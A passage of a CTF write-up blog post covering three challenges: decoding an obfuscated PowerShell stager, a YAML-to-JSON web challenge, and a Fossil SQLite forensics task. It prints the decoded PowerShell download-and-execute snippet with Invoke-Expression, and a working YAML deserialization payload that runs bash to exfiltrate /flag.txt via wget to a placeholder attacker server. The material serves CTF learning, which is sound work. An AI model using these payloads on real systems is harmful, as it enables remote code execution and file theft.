    65, 75, 67, 82, 111, 100, 71, 49, 115, 73, 68, 48, 103, 75, 69, 108, 117, 
    100, 109, 57, 114, 90, 83, 49, 88, 90, 87, 74, 83, 90, 88, 70, 49, 90, 88, 
    78, 48, 73, 71, 104, 48, 100, 72, 65, 54, 76, 121, 57, 106, 97, 71, 70, 115, 
    98, 71, 86, 117, 90, 50, 85, 117, 89, 51, 82, 109, 76, 109, 100, 104, 98, 
    87, 86, 122, 79, 105, 82, 81, 84, 49, 74, 85, 73, 67, 49, 73, 90, 87, 70, 
    107, 90, 88, 74, 122, 73, 69, 66, 55, 81, 88, 86, 48, 97, 71, 57, 121, 97, 
    88, 112, 104, 100, 71, 108, 118, 98, 106, 48, 111, 73, 107, 74, 104, 99, 
    50, 108, 106, 73, 70, 108, 116, 82, 109, 112, 104, 77, 108, 74, 50, 89, 106, 
    78, 74, 78, 109, 82, 72, 97, 72, 66, 106, 77, 84, 108, 119, 89, 122, 69, 
    53, 77, 71, 70, 72, 86, 109, 90, 104, 83, 70, 73, 119, 89, 48, 89, 53, 101, 
    108, 112, 89, 83, 106, 74, 97, 87, 69, 112, 109, 89, 122, 74, 87, 97, 109, 
    78, 116, 86, 106, 65, 105, 75, 88, 48, 103, 76, 86, 86, 122, 90, 85, 74, 
    104, 99, 50, 108, 106, 85, 71, 70, 121, 99, 50, 108, 117, 90, 121, 107, 117, 
    81, 50, 57, 117, 100, 71, 86, 117, 100, 65, 48, 75, 97, 87, 89, 103, 75, 67, 
    82, 111, 100, 71, 49, 115, 73, 67, 49, 116, 89, 88, 82, 106, 97, 67, 65, 
    110, 80, 67, 69, 116, 76, 83, 103, 117, 75, 106, 56, 112, 76, 83, 48, 43, 
    74, 121, 107, 103, 101, 119, 48, 75, 73, 67, 65, 103, 73, 67, 82, 50, 89, 
    87, 120, 49, 90, 83, 65, 57, 73, 67, 82, 116, 89, 88, 82, 106, 97, 71, 86, 
    122, 87, 122, 70, 100, 68, 81, 111, 103, 73, 67, 65, 103, 74, 71, 78, 118, 
    98, 87, 49, 104, 98, 109, 81, 103, 80, 83, 66, 98, 85, 51, 108, 122, 100, 
    71, 86, 116, 76, 108, 82, 108, 101, 72, 81, 117, 82, 87, 53, 106, 98, 50, 
    82, 112, 98, 109, 100, 100, 79, 106, 112, 86, 86, 69, 89, 52, 76, 107, 100, 
    108, 100, 70, 78, 48, 99, 109, 108, 117, 90, 121, 104, 98, 85, 51, 108, 
    122, 100, 71, 86, 116, 76, 107, 78, 118, 98, 110, 90, 108, 99, 110, 82, 100, 
    79, 106, 112, 71, 99, 109, 57, 116, 81, 109, 70, 122, 90, 84, 89, 48, 85, 
    51, 82, 121, 97, 87, 53, 110, 75, 67, 82, 50, 89, 87, 120, 49, 90, 83, 107, 
    112, 68, 81, 111, 103, 73, 67, 65, 103, 83, 87, 53, 50, 98, 50, 116, 108, 
    76, 85, 86, 52, 99, 72, 74, 108, 99, 51, 78, 112, 98, 50, 52, 103, 74, 71, 
    78, 118, 98, 87, 49, 104, 98, 109, 81, 78, 67, 110, 48, 112, 34, 41, 41, 41, 
    39
]

# Join ASCII values to form the PowerShell command string
command_string = ''.join(chr(val) for val in ascii_values)

base64_start = command_string.find('FromBase64String("') + len('FromBase64String("')
base64_end = command_string.find('")', base64_start)
base64_payload = command_string[base64_start:base64_end]

decoded_payload = base64.b64decode(base64_payload).decode('utf-8')

print(decoded_payload)

That gave me this:

1
2
3
4
5
6
7
# $PORT below is dynamic to the running service of the `Start` button
@($html = (Invoke-WebRequest http://challenge.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0")} -UseBasicParsing).Content
if ($html -match '<!--(.*?)-->') {
    $value = $matches[1]
    $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
    Invoke-Expression $command
})

I then rewrote it into a curl command instead.

1
curl -H "Authorization: Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0" http://challenge.ctf.games:30713

Running the curl command gave me this output <!-- ZWNobyBmbGFne2UxNWE2YzAxNjhlZTRkZTczODFmNTAyNDM5MDE0MDMyfQ== --> and from there I just used Cyberchef to convert the base64 encoded string.

Flag: flag{e15a6c0168ee4de7381f502439014032}

Y2J

Author: @JohnHammond#6971

Category: Web

Everyone was so worried about Y2K, but apparently it was a typo all along!! The real world-ending fears were from Y2J!

For this challenge, I experimented with various approaches but ultimately discovered a method that provided useful output for retrieving the flag. The entire challenge revolves around a simple page that converts YAML to JSON.

I set up a web server on a host provided by Hertner using the command python3 -m http.server 9000 to ensure it was accessible from the container.

When I executed the following code, the name in the JSON output returned 1, indicating success:

1
2
3
4
5
6
7
8
9
10
11
12
name: !!python/object/apply:subprocess.call
  - ["bash", "-c", "/usr/bin/curl -X GET http://[IPADRESSOFSERVER]:9000"]
age: 28
is_student: true
address:
  street: 456 Maple Ave
  city: Rivertown
  zip: 67890
skills:
  - C++
  - Ruby
  - HTML

In the server logs, I observed:

1
34.123.163.117 - - [29/Oct/2024 19:56:40] "GET / HTTP/1.1" 200 -

Next, I needed to modify the request to inject the contents of the flag.txt file as a variable in the GET request. I updated the code as follows:

1
2
3
4
5
6
7
8
9
10
11
12
name: !!python/object/apply:subprocess.call
  - ["bash", "-c", "wget -qO- http://[IPADRESSOFSERVER]:9000/$(cat /flag.txt)"]
age: 28
is_student: true
address:
  street: 456 Maple Ave
  city: Rivertown
  zip: 67890
skills:
  - C++
  - Ruby
  - HTML

In the server logs, this request generated the following entry:

1
34.123.163.117 - - [29/Oct/2024 19:59:05] "GET /flag{b20870a1955ac22377045e3b2dcb832a} HTTP/1.1" 404 -

Flag: flag{b20870a1955ac22377045e3b2dcb832a}

Ancient Fossil

Author: @JohnHammond

Category: Forensics

All things are lost to time…

For this challenge, we received a SQLite3 file named ancient.fossil:

1
ancient.fossil: SQLite 3.x database (Fossil repository), last written using SQLite version 3046000, file counter 415, database pages 154, cookie 0x28, schema 4, UTF-8, version-valid-for 415

I started by opening it in sqlitebrowser to examine its contents. Among the tables, the blob table stood out with a lot of data, while the other tables didn’t reveal anything significant. I then proceeded to extract all data from the ancient.fossil file using the following Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sqlite3

# Connect to the SQLite database
conn = sqlite3.connect('ancient.fossil')
cursor = conn.cursor()

# Execute the query to select the BLOB content
cursor.execute("SELECT content FROM blob WHERE content IS NOT NULL;")

# Fetch all results
results = cursor.fetchall()

# Write all BLOBs to separate files or one file, based on your needs
for index, result in enumerate(results):
    blob_content = result[0]
    
    # Write to a separate binary file for each BLOB
    with open(f'output_{index}.bin', 'wb') as file:
        file.write(blob_content)

# Close the database connection
conn.close()

After extracting the data, I tried identifying the file type by running file on each output file, but each returned simply as data. To analyze further, I used binwalk:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/ancient]
└─$ binwalk output_251.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4             0x4             Zlib compressed data, default compression

The output indicated that it was likely zlib-compressed data, so I decompressed it using this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import zlib

# Directory containing the .bin files
directory = '.'

def decompress_file(file_path):
    """Decompresses a zlib-compressed file, skipping the first 4 bytes."""
    with open(file_path, 'rb') as f:
        f.seek(4)  # Skip the first 4 bytes
        compressed_data = f.read()  # Read the rest of the file

    try:
        decompressed_data = zlib.decompress(compressed_data)
        return decompressed_data.decode('utf-8', errors='ignore')
    except zlib.error as e:
        print(f"Decompression error in {file_path}: {e}")
        return None

# Loop through each .bin file in the directory
for filename in os.listdir(directory):
    if filename.endswith('.bin'):
        file_path = os.path.join(directory, filename)
        print(f"\nDecompressed output for {filename}:")
        decompressed_content = decompress_file(file_path)
        
        if decompressed_content:
            print(decompressed_content)

The decompressed output mostly contained random strings and log entries, such as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Decompressed output for output_265.bin:
ZThlODUwYjJmYTNlODBhMDgxNTBkNTM3MjA2ZWVhYzYK

Decompressed output for output_570.bin:
C MTA4NWYwZmZkNWJmNzBhNmI5Y2U0M2VkZGFkODlhZWUK
D 2024-10-16T20:57:44.628
P 18d0b194528e99995e4b91c634200a58e92631168a35e9f3191bb227e1bb440d
R d41d8cd98f00b204e9800998ecf8427e
U kali
Z f2ded2bb841c7387694afa4a1ef9d7a7

Decompressed output for output_554.bin:
C MjFhMTliYzVkNzcyMTM0Mzg4NzkyNGI3YTg5YzQ3MWMK
D 2024-10-16T20:57:44.253
F MzUzMDViOTczNWIyZTVjYTAyMWQyOTEyMDM1NTkwNjgK a15efbaa4d2c6f87a39db2c6c6bac69e10b700c4ea98879ac1003fa57e85ee65
P c98af3a1fdce2548c52e0085088e71f5806900610cc4974e0c57257ecc8829c2
R 0abab2ce2f167e937bbd83720c655419
U kali
Z e043e7faa40294d7566b9331e0d83675

Decompressed output for output_514.bin:
NWI0NmVkNzg0NGZlNTkwODM0ZDZjODVhMWU0ZmU5ZjQK

I searched for the flag by running a grep on the decompressed output and got lucky:

1
2
3
┌──(kali㉿kali)-[~/Downloads/ancient]
└─$ python3 decompress.py | grep flag
flag{2ed33f365669ea9f10b1a4ea4566fe8c}

Flag: flag{2ed33f365669ea9f10b1a4ea4566fe8c}

This post is licensed under CC BY 4.0 by the author.